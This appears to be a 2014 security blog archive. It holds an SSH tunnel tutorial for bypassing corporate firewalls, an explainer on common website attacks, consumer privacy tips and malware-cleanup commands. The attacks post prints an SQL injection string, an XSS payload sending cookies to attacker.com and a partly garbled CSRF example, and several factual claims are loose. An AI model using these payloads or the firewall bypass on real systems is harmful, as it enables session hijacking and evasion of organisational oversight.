Showing posts with label Internet Security. Show all posts
Showing posts with label Internet Security. Show all posts

24/12/2014

SSH Tunnel Tutorial

SSH Tunnel Tutorial
Introduction: A SSH tunnel consists of an encrypted tunnel created through a SSH protocol connection. A SSH tunnel can be used to transfer unencrypted traffic over a network through an encrypted channel. For example we can use a ssh tunnel to securely transfer files between a FTP server and a client even though the FTP protocol itself is not encrypted. SSH tunnels also provide a means to bypass firewalls that prohibits or filter certain internet services. For example an organization will block certain sites using their proxy filter. But users may not wish to have their web traffic monitored or blocked by the organization proxy filter. If users can connect to an external SSH server, they can create a SSH tunnel to forward a given port on their local machine to port 80 on remote web-server via the external SSH server.
This ssh tunnel tutorial will deliberately bypass a firewall, and security admins will frown (at the very least) on you bypassing a corporate firewall. How to encrypt anything over SSH tunnel using a Socks Proxy.
*. How to Browse Securely from hotspots or hide from corporate firewalls/sniffers.

SSH Tunnel Summary
Using an ssh server that has internet access as a browsing point, you will create an ssh tunnel from your local PC to a remote server. Source all of your traffic from it, and encrypt communications to it using free software. This tutorial will show you how to setup an SSH Tunnel and use this to create aSocks Proxy. Requires an SSH account anywhere even your home PC with cygwin or ubuntu installed. You could then use this to tunnel from an unsafe place and browse as if you were at the safe, remote location instead. This is free.

SSH Tunnel Instructions
1. Find your current IP Go to whatismyip.com, look at your existing IP, without proxy.
Reason: compare later when we have a tunnel.
2. Packet Capture
Th: !(ipv6.dst == ff02::1) && !(ipv6.dst == ff02::c) && !stp && !cdp && !dtp && !dhcpv6 && !arp && !nbns && !browser && !icmpv6 && !ip.src== 192.168.1.105 &&
Reason: verify that you are truly encrypted. This filter just hides network chatter. It’s the same thing a snooper would see. your filter may be different, or not required. I was on a chatty network when I inspected and thought this example would be worth showing.
3. Setup Putty for SSH Tunnel:
*. Session: user@ yourserver.com:22
*. Connection > SSH: V2, Enable Compresion
*. Connection > SSH > Tunnels > Source: 7070, Dynamic, ADD
*. Session: Save, Open or, create an SSH tunnel via command line:
ssh -D 7070 -p 22 user@ yourserver.com sleep 9999
Reason: sets up loopback port (7070) on your local PC and connects over port 22 to the remote shell
4. Setup Firefox to encrypt to use the tunnel:
*. Tools > Options > Network > Settings > Manual
*. Socks: 127.0.0.1: 7070
*. Click OK.
5. Setup Firefox to use Remote DNS
about:config network.proxy.socks_remote_dns=true
Reason: By default, your local PC will do the DNS by default, but that will show what websites you are going to, so this steps ends DNS over the ssh tunnel.
6. Restart Browser
Reason: configures firefox to route traffic through the tunnel you just made
7. Test
*. View everything is over port 22
*. View IP is different from whatismyip.com
*. View filter in wireshark: dns, there should be no entries.
References
*. https://addons.mozilla.org /en-US/thunderbird /user/323/(foxyproxy allows quick proxy swaps in mozilla,thunderbird, etc).
*. ftp://ftp.chiark.greenend.o rg.uk/users/sgtatham/putty-latest/x86/putty.exe
*. http://www.wireshark.org/download.html

SSH Tunnel NOT SAFE
Is all browsing now encrypted? No, it’s only encrypted to the remote server. From that point on it’s normal. Though if you were browsing an https connection without cookies, it’s pretty hard to figure out what your traffic is. Cookies are relatively simple to capture, sniff then replay for a man in the middle type attack or privileged login.

17/12/2014

10 Most Popular Ways Hackers Hack Your Website

10 Most Popular Ways Hackers Hack Your Website
Here are the 10 most popular ways they can threaten the security of your site.

1. Injection Attacks

Injection Attacking occurs when there are flaws in your SQL Database, SQL libraries, or even the operating system itself. Employees open seemingly credible files with hidden commands, or injections, unknowingly. In doing so, they’ve allowed hackers to gain unauthorized access to private data such as social security numbers, credit card number or other financial data. Technical Injection Attack Example: An Injection Attack could have this command line:
String query = “SELECT * FROM accounts WHERE custID='” request.getParameter( “id”) ”‘”;
The hacker modifies the ‘id’ parameter in their browser to send: ‘ or ‘1’=’1 This changes the meaning of the query to return all the records from the accounts database to the hacker, instead of only the intended customers.

2. Cross Site Scripting Attacks

XSS attack, occurs when an application, url “get request”, or file packet is sent to the web browser window and bypassing the validation process. Once an XSS script is triggered, it’s deceptive property makes users believe that the compromised page of a specific website is legitimate. For example, if www.example.com/abcd.html has XSS script in it, the user might see a popup window asking for their credit card info and other sensitive info. Technical Cross Site Scripting Example:
(String) page = “<input name=’creditcard’ type=’TEXT’ value='” request.getParameter( “CC”) “‘>”;
The attacker modifies the CC parameter in their browser to:
‘><script>document.location=’ http://www.attacker.com/cgi-bin/cookie.cgi?foo=’document.cookie</script>’
This causes the user’s session ID to be sent to the attacker’s website, allowing the hacker to hijack the user’s current session. That means the hacker has access to the website admin credentials and can take complete control over it.

3. Broken Authentication and Session Management Attacks

If the user authentication system of your website is weak, hackers can take full advantage. Authentication systems involve passwords, key management, session IDs, and cookies that can allow a hacker to access your account from any computer (as long as they are valid). If a hacker exploits the authentication and session management system, they can assume the user’s identity.
Ask yourself these questions to find out if your website is vulnerable to a broken authentication and session management attack:
*. Are user credentials weak? *. Can credentials be guessed or overwritten through weak account management functions? *. Are session IDs exposed in the URL? *. Are session IDs vulnerable to session fixation attacks? *. Do session IDs timeout and can users log out? If you answered “yes” to any of these questions, your site could be vulnerable to a hacker.

4. Clickjacking Attacks

Clickjacking, also called a UI Redress Attack, is when a hacker uses multiple opaque layers to trick a user into clicking the top layer without them knowing. Thus the attacker is “hijacking” clicks that are not meant for the actual page, but for a page where the attacker wants you to be. For example, using a carefully crafted combination of style sheets, iframes, and text boxes, a user can be led to believe they are typing in the password for their bank account, but are actually typing into an invisible frame controlled by the attacker. Clickjacking Example: Here’s a live, but safe example of how clickjacking works: [CLICK HERE TO SEE EXAMPLE]

5. DNS Cache Poisoning

DNS Cache Poisoning involves old cache data that you might think you no longer have on your computer, but is actually “toxic” Also known as DNS Spoofing, hackers can identify vulnerabilities in a domain name system, which allows them to divert traffic from legit servers to a fake website and/or server. This form of attack can spread and replicate itself from one DNS server to another DNS, “poisoning” everything in it’s path. In fact, in 2010, a DNS poisoning attack completely compromised the Great Firewall of China (GFC) temporarily and censored certain content in the United States until the problem was fixed.

6. Social Engineering Attacks

A social engineering attack is not technically a “hack” It happens when you divulge private information in good faith, such as a credit card number, through common online interactions such as email, chat, social media sites, or virtually any website. The problem, of course, is that you’re not getting into what you think you’re getting into. A classic example of a social engineering attack is the “Microsoft tech support” scam. This is when someone from a call center pretends to be a MS tech support member who says that your computer is slow and/or infected, and can be easily fixed – at a cost, of course. Here’s an article from Wired.com on how a security expert played along with so-called Microsoft tech support person.

7. Symlinking: An Insider Attack

A symlink is basically a special file that “points to” a hard link on a mounted file system. A symlinking attack occurs when a hacker positions the symlink in such a way that the user or application that access the endpoint thinks they’re accessing the right file when they’re really not. If the endpoint file is an output, the consequence of the symlink attack is that it could be modified instead of the file at the intended location. Modifications to the endpoint file could include appending, overwriting, corrupting, or even changing permissions. In different variations of a symlinking attack a hacker may be able to control the changes to a file, grant themselves advanced access, insert false information, expose sensitive information or corrupt or destroy vital system or application files.

8. Cross Site Request Forgery Attacks

A Cross Site Request Forgery Attack happens when a user is logged into a session (or account) and a hacker uses this opportunity to send them a forged HTTP request to collect their cookie information. In most cases, the cookie remains valid as long as the user or the attacker stays logged into the account. This is why websites ask you to log out of your account when you’re finished, it will expire the session immediately. In other cases, once the user’s browser session is compromised, the hacker can generate requests to the application that will not be able to differentiate between a valid user and a hacker. A Cross Site Attack Examples:
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
<img src=”>span  style=”color: red;”>
http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#</span>” width=”0″ height=”0″ />
In this case the hacker creates a request that will transfer money from a user’s account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control.

9. Remote Code Execution Attacks

A Remote Code Execution attack is a result of either server side or client side security weaknesses. Vulnerable components may include libraries, remote directories on a server that haven’t been monitored, frameworks, and other software modules that run on the basis of authenticated user access. Applications that use these components are always under attack through things like scripts, malware, and small command lines that extract information. The following vulnerable components were downloaded 22 million times in 2011: Apache CXF Authentication Bypass
(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3451)
By failing to provide an identity token, attackers could invoke any web service with full permission.

10. DDoS Attack: Distributed Denial Of Service Attack

DDoS or Distributed Denial of Services, is where a server or a machine’s services are made unavailable to its users. And when the system is offline, the hacker proceeds to either compromise the entire website or a specific function of a website to their own advantage. It’s kind of like having your car stolen when you really need to get somewhere fast. The usual agenda of a DDoS campaign is to temporarily interrupt or completely take down a successfully running system. The most common example of a DDoS attack could be sending tons of URL requests to a website or a webpage in a very small amount of time. This causes bottlenecking at the server side because the CPU just ran out of resources. Denial-of-service attacks are considered violations of the Internet Architecture Board’s Internet proper use policy, and also violate the acceptable use policies of virtually all Internet service providers.

27/11/2014

Top 17 Cyber Security And Privacy Tips


One of the easiest ways to help others is to simply share your knowledge. You don’t have to be in front of a classroom to teach. Every day there is an opportunity to educate someone about you know. At the end of this article, click share button.
Now let's explore!
With the growing variety of mobile devices, social networking sites, and online offers, it is important to protect yourself and your computer. We’ve compiled this list of 17 cyber security tips to help you take action now.
1. Do not use your full or partial Social Security number as a Personal Identification Number (PIN), user ID or password.
2. Make sure that your password is 8 or more characters and combines capitalized letters, numerals and symbols. Do not use the same user ID and password for your financial accounts as you do for other sites.
3. Consider a screen lock on your mobile device. Many mobile phones offer this option, as well as other customizable security settings, which can help keep your phone and information secure.
4. Do not use your mobile device to store sensitive personal information or bank account numbers.
5. Never respond to urgent email claiming to be from a bank or any company that requests your account information or personal details. Forward these emails to www.fbi.gov or call your local police immediately.
6. Limit the amount of personal information you provide on social networking sites. The more information you post, the easier it may be for a criminal to use that information to steal your identity, access your data, or commit other crimes.
7. Be cautious about messages you receive on social networking sites that contain links. Even links that look like they come from friends can sometimes be harmful or fraudulent attempting to gain control of your computer or steal your personal information. If you are suspicious, don’t click the link. Contact your friend or the business directly to verify the validity.
8. Keep your computer operating system and browser up to date with the latest and official software and security downloads. These may be called "patches" or "service packs" and should be installed as soon as possible.
9. Don’t open attachments or install free software from unknown sources, this may expose your computer and the information on it to unauthorized sources.
10. Install a comprehensive (official) Firewall/Antivirus/Anti-spyware software package on your computer. These software suites help detect and remove viruses and spyware, which can steal vital information.
11. When entering personal information into a website, make sure that the URL starts with https://. The “s” stands for secure and means that any information entered into the website is encrypted so that no one else can access it.
12. Use caution when connecting to unfamiliar or public Wi-Fi networks. These networks are sometimes referred to as zombie networks and can be the gateway to malware or viruses. As an extra safety measure, turn off your Wi-Fi or Bluetooth when not using it.
13. Add a DNS service to protect other devices. A DNS or domain name system service converts a web address (a series of letters) into a machine-readable IP address (a series of numbers). You're probably using your ISP's DNS service by default, but you can opt to subscribe to openDNS which redirect you if you attempt to access a malicious site.
14. When checking your bank account or paying a bill online use the incognito mode or private browsing and when you finish the browsing, clear browsing history, stored password and cache from browser settings.
Normally web browsers store information like your browsing history, images, videos, text and cookies in a cache. A cache stores information about a webpage that lets it load faster the next time you visit.
15. Use more than one email address one for social networking and other for your business. (Honestly, i've more than 23 email addresses).
16. Keep your account numbers, user names, and passwords secret. Don't share it with your boyfriend/girlfriend. At the time of breakup, they can hit your privacy by getting the help from outside sources.
17. Avoid tech support phone scams: Cybercriminals don't just send fraudulent email messages and set up fake websites. They might also call you on the telephone and claim to be from Microsoft. They might offer to help solve your computer problems or sell you a software license. Once they have access to your computer, they can trick you into installing malicious software that could capture sensitive data.
Share it with your friends on Facebook

26/11/2014

How to Clear/Remove CryptoPHP PHP Deadly Malware



What is CryptoPHP
CryptoPHP is a dangerous threat named by the Fox-IT’s security research team who detected it for the first time in the year of 2013. (Read recent news about cryptophp). According to them the threat uses the backdoor themes and plug-ins which uses in the CMS (content management system) to attack the web servers. This is so because today many of the web administrators are using CMS rather than the raw HTML for building their websites. The popular CMS like Word press, Joomla and Drupal are under the attack as they are using the pirated themes and plug-ins on their websites. Once if you have installed these backdoor malicious themes and plug-ins on your website, the malware can be controlled by the attackers by manually or via command and control (CC) and email communications. From there on-wards they will use your website for illegal search optimization, which is known as Blackhat SEO.
Recommend Post:-How To Detect And Remove WireLurker Malware From iPhone, iPad
CryptoPHP carries several hardcoded domains for command-and-control communications and uses RSA encryption to protect its communications with the C2 servers. Some versions also have a backup ability to communicate over email if the C2 domains are taken down. The PHPCrypto malware can update itself, inject content into the compromised sites it sits on and perform several other functions. Fox IT has a very in-depth whitepaper available Operators of CryptoPHP currently abuse the backdoor for illegal search engine optimization, also known as Blackhat SEO. The backdoor is a well developed piece of code and dynamic in its use. The capabilities of the CryptoPHP backdoor include:
*. Integration into popular content management systems like WordPress, Drupal and Joomla.
*. Public key encryption for communication between the compromised server and the command and control (C2) server.
*. An extensive infrastructure in terms of C2 domains and IP’s.
*. Backup mechanisms in place against C2 domain takedowns in the form of email communication.
*. Manual control of the backdoor besides the C2 communication.
*. Remote updating of the list of C2 servers.
*. Ability to update itself.
From Last few days Abuseat/CBL have suddenly built this into their database. Now they are blocking server IP which contains CryptoPHP PHP malware.

How to Detect and Clean CryptoPHP PHP Malware
It seems attacker is injecting malware using social.png file. Here is a simple command that can really find all such files and print first 80 characters from this file just to confirm it’s content.
find/home/ -name "social*.png" -exec grep -E -o 'php.{0,80}' {} \; -print
You need to delete those files and examine such user account, Because just deleting this file will not actually solve anything. Also you can run following command.
find -L /home -type f -name '*.png' -print0 | xargs -0 file | grep "PHP script" > /root/crypto.txt
This will check all png files, you can expand it to check all jpg and gif files as well. The output will contain a list of files that are actually php scripts. Also I’d suggest to run maldet or clamav scan on your server to find out the CryptoPHP PHP malware. Make sure to update both clamav and maldet prior to scanning.
freshclam
maldet -u
Also submit IP removal request on CBL.
Important Tips:
*. Do not install web templates/themes from unknown website.
*. Before file installation, scan the whole document on well known website scanners like VirusTotal, Metascan Online and so on.
*. If you are a web developer, expand the whole file and look for unknown coding/characters. If unknown codes found, remove them in order to hit the code maker.
Love this article?
Share it with your friends on Facebook

25/11/2014

How to Remove AdFoc.us pop up advertisements


AdFoc.us is an adware program that generates advertisements and hijacks your browser search settings, then redirects your searches to affiliated advertisers. AdFoc.us attacks Google Chrome, Internet Explorer and FireFox. When you place a search, AdFoc.us intercepts that search and diverts it to its own advertising network, which in most cases offers search results that are not necessarily best fit.
Read Also:-How To Detect And Remove WireLurker Malware From iPhone, iPad
In other cases, AdFoc.us Ads either generate popups or double underlined words and phrases on your search result pages. When you hover over the underlined word, a popup appears in the upper left corner.
AdFoc.us Symptoms include:
*. Your default search engine is switched to AdFoc.us
*. Searches are redirected.
*. A new toolbar appears.
*. Your browser start page may change.
*. You see AdFoc.us ads on pages you visit
*. You see AdFoc.us pop up advertisements
Detected AdFoc.us Entries:
*. C:\ProgramData\AdFoc.us
*. C:\Program Files\AdFoc.us
In order to remove AdFoc.us Ads, click here to scan your PC (the app offers a free scan (not removal). However, you can remove this from program files in your computer or uninstall it from Control panel > Add remove programs for more help visite Browser Resetting Best of all. We would appreciate your feedback, so please feel free to drop us a small note (by clicking on Contact Us above) telling us how the removal went.
Love this article?
Share it with your friends on Facebook